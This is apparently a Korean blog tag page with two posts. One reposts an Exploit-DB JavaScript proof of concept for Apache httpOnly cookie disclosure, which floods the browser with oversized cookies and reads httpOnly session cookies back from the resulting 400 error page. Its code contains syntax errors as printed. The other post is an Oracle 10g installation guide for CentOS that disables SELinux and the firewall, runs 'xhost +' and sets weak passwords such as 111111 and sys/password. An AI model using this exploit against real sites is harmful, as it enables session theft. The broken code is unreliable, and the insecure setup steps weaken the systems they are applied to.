'status'에 해당되는 글 2건

  1. 2012.02.03 Apache httpOnly Cookie Disclosure
  2. 2009.06.12 CentOS 리눅스 오라클 10g 설치 (Oracle 10g Installation) (1)
2012. 2. 3. 19:21

Apache httpOnly Cookie Disclosure

// Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08
// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
    // Construct string for cookie value
    var str = "";
    for (var i=0; i< 819; i++) {
        str += "x";
    }
    // Set cookies
    for (i 0; i < 10; i++) {
        // Expire evil cookie
        if (good) {
            var cookie "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
        }
        // Set evil cookie
        else {
            var cookie "xss"+i+"="+str+";path=/";
        }
        document.cookie = cookie;
    }
}
function makeRequest() {
    setCookies();
    function parseCookies () {
        var cookie_dict = {};
        // Only react on 400 status
        if (xhr.readyState === 4 && xhr.status === 400) {
            // Replace newlines and match <pre> content
            var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
            if (content.length) {
                // Remove Cookie: prefix
                content = content[1].replace("Cookie: ", "");
                var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
                // Add cookies to object
                for (var i=0; i<cookies.length; i++) {
                    var s_c = cookies[i].split('=',2);
                    cookie_dict[s_c[0]] = s_c[1];
                }
            }
            // Unset malicious cookies
            setCookies(true);
            alert(JSON.stringify(cookie_dict));
        }
    }
    // Make XHR request
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = parseCookies;
    xhr.open("GET", "/", true);
    xhr.send(null);
}
makeRequest();



출처 : Exploit-DB

Trackback 0 Comment 0
2009. 6. 12. 15:26

CentOS 리눅스 오라클 10g 설치 (Oracle 10g Installation)

  • 오라클 서버

    오라클 서버를 설치하기 위해서는 리눅스 서버를 새로 구축한다.

    • Linux Server 신규 구축

      리눅스 서버는 위의 VirtualBox 만드는 과정을 통해 순수하게 리눅스만 설치한다.
      파티션은 아래와 같이 나눈다.  

파티션

용량

Swap

2GB

/

나머지 용량 전부(여유있게 20GB 잡을것)

  • 방화벽 설정

    SELinux 는 Disable 시키고 작업한다.
    콘솔에서 아래의 명령을 실행 후 그림과 같이 한다.

# setup

Firewall configuration 으로 이동 후 엔터(탭 키를 누른다)  

Security Level 을 Disable 시킨 후 탭을 이동하여 OK 한다.
다시 Quit 을 선택하여 종료한다.

# unzip 10201_database_linux32.zip
# mkdir /oracle10g
# mv database /oracle10g

  • 오라클 설치를 위한 환경 설정 및 설치
     
    • /etc/redhat-release 파일 수정하기.

      Vi 에디터로 /etc/redhat-release 파일의 내용을 아래와 같이 고친다. 

# vi /etc/redhat-release

기존 내용

바뀐 내용

- Cent OS 는 레드햇 리눅스의 변종(?) 이므로 레드햇으로 수정해야 오라클이 설치된다.

  • /etc/security/limits.conf 파일 수정

    위 파일을 vi 에디터로 열고 제일 하단에 아래의 내용을 추가한다.

* soft nproc 2047
* hard nproc 16384
* soft nofile 1024
* hard nofile 65536

  • /etc/sysctl.conf 파일 수정

    Vi 에디터로 파일을 열고 아래와 같이 수정한다.
    제일 아래의 ########## 아래의 내용은 신규 추가한다.  

# Kernel sysctl configuration file for Red Hat Linux
#
# For binary values, 0 is disabled, 1 is enabled. See sysctl(8) and
# sysctl.conf(5) for more details.
# Controls IP packet forwarding
net.ipv4.ip_forward = 0

# Controls source route verification
net.ipv4.conf.default.rp_filter = 1

# Do not accept source routing
net.ipv4.conf.default.accept_source_route = 0

# Controls the System Request debugging functionality of the kernel
kernel.sysrq = 0

# Controls whether core dumps will append the PID to the core filename
# Useful for debugging multi-threaded applications
kernel.core_uses_pid = 1

# Controls the use of TCP syncookies
net.ipv4.tcp_syncookies = 1

# Controls the maximum size of a message, in bytes
kernel.msgmnb = 65536

# Controls the default maxmimum size of a mesage queue
kernel.msgmax = 65536

# Controls the maximum shared segment size, in bytes
kernel.shmmax = 4294967295

# Controls the maximum number of shared memory segments, in pages
kernel.shmall = 268435456

####################
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
fs.file-max = 65536
net.ipv4.ip_local_port_range = 1024 65000
net.core.rmem_default=262144
net.core.rmem_max=262144
net.core.wmem_default=262144
net.core.wmem_max=262144

수정 후 아래의 명령을 실행하여 오류가 있는지 체크(설정 내용이 올바로 출력되면 OK)

/sbin/sysctl -p

  • /etc/pam.d/login 파일 수정

    Vi 에디터로 오픈하여 아래의 내용을 하단에 추가.

session        required    /lib/security/pam_limits.so

  • 설치에 필요한 필수 파일을 yum 으로 업데이트 한다.

    아래의 명령으로 설치에 필요한 필수 파일을 업데이트 한다. 네트워크가 반드시 연결 되어 있어야 한다.

yum -y install make setarch glibc* libaio cpp compat* gcc libXp openmotif elfutils-libelf* unixODBC* sysstat binutils

  • 오라클 설치 계정 추가

# groupadd oinstall    // oinstall 그룹 추가
# groupadd dba     // dba 그룹 추가
# useradd -g oinstall -G dba oracle    // oracle 계정을 oinstall 그룹에 -m -g 옵션으로 추가, 동시에 dba 그룹에 -G 옵션으로 추가
# passwd oracle // 비밀번호 지정(111111)

  • 오라클 설치 디렉토리 생성

# mkdir -p /u01/app/oracle/product/10.2.0/db_1
# chown -R oracle.oinstall /u01
# mkdir -p /u02/oradata
# chown -R oracle.oinstall /u02

  • /hosts 파일 수정

# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1 localhost
IP주소 ccu_oracle

  • /etc/sysconfig/network 리눅스 호스트 이름 변경

    vi 에디터로 오픈하여 HOSTNAME 부분을 변경한다.

NETWORKING=yes
NETWORKING_IPV6=no
HOSTNAME=ccu_oracle

  • 오라클 사용자 계정 환경변수 설정

# su – oracle
$ cd ~
$ vi .bash_profile

아래의 내용을 파일 하단에 추가한다.

TMP=/tmp; export TMP
TMPDIR=$TMP; export TMPDIR
ORACLE_BASE=/u01/app/oracle; export ORACLE_BASE
ORACLE_HOME=$ORACLE_BASE/product/10.2.0/db_1; export ORACLE_HOME
ORACLE_SID=orcl; export ORACLE_SID
ORACLE_TERM=xterm; export ORACLE_TERM
PATH=/usr/sbin:$PATH; export PATH
PATH=$ORACLE_HOME/bin:$PATH; export PATH
export DISPLAY=:0.0
export LANG=C

수정이 다 되었다면 저장 후 아래의 명령을 실행하여 적용시킨다.

$ source .bash_profile


위 설정이 다 완료 되었다면 시스템을 한번 리부팅 해준다.

# shutdown –r now

  • 오라클 설치

    주의 : 반드시 oracle 계정으로 설치해야 한다.

    오라클 압축 해제 디렉토리(/oracle10g/database) 로 이동하여 runInstaller 를 실행한다. 

# xhost + ß 반드시 루트 권한에서 실행해야 함
# su – oracle
$ cd /oracle10g/database
$ ./runInstaller

오라클 인스톨러 화면

오라클 설치중 화면

데이터베이스 생성 화면

데이터베이스 생성 완료 화면.

설치가 거의 완료 되면 아래와 같이 ROOT 권한으로 실행할 파일을 알리는 창이 뜬다.
새로운 터미널을 열어서 root 권한으로 해당 스크립트를 실행한다.

# cd /u01/app/oracle/oraInventory/
# ./orainstRoot.sh
# cd /u01/app/oracle/product/10.2.0/db_1/
# ./root.sh ß 이 명령 실행 후 local bin 디렉토리를 묻는데 기본값으로 하면 된다.

  • 오라클 구동 및 상태보기.

    오라클의 구동 및 설정은 oracle 유저로 해야 한다.
  • 오라클 상태 보기

# su – oracle
$ lsnrctl status

오라클 SID 는 orcl 로 설정하였으며, orcl 리스너가 ready 상태이여야 한다.

  • 오라클 리스너 시작/종료

리스너 시작

$ lsnrctl start

리스너 종료

$ lsnrctl stop

리스너 상태보기

$ lsnrctl status

  • 오라클 데이터베이스 구동

# su – oracle
$ sqlplus /nolog
SQL> connect sys/password as sysdba
SQL> startup

  • 오라클 emctl 시작(오라클 엔터프라이즈 매니저)

$ emctl start dbconsole

웹브라우저 에서 http://localhost:1158/em/console/aboutApplication 를 오픈하여 엔터프라이즈 매니저로 접근 되는지 확인.

아이디 패스워드는 sys/password 이다.



출처 : http://www.javarush.com/


Trackback 1 Comment 1
  1. 감사합니다. 2013.05.21 16:14 address edit & del reply

    정리된 문서 중 최고의 자료네요.
    감사합니다.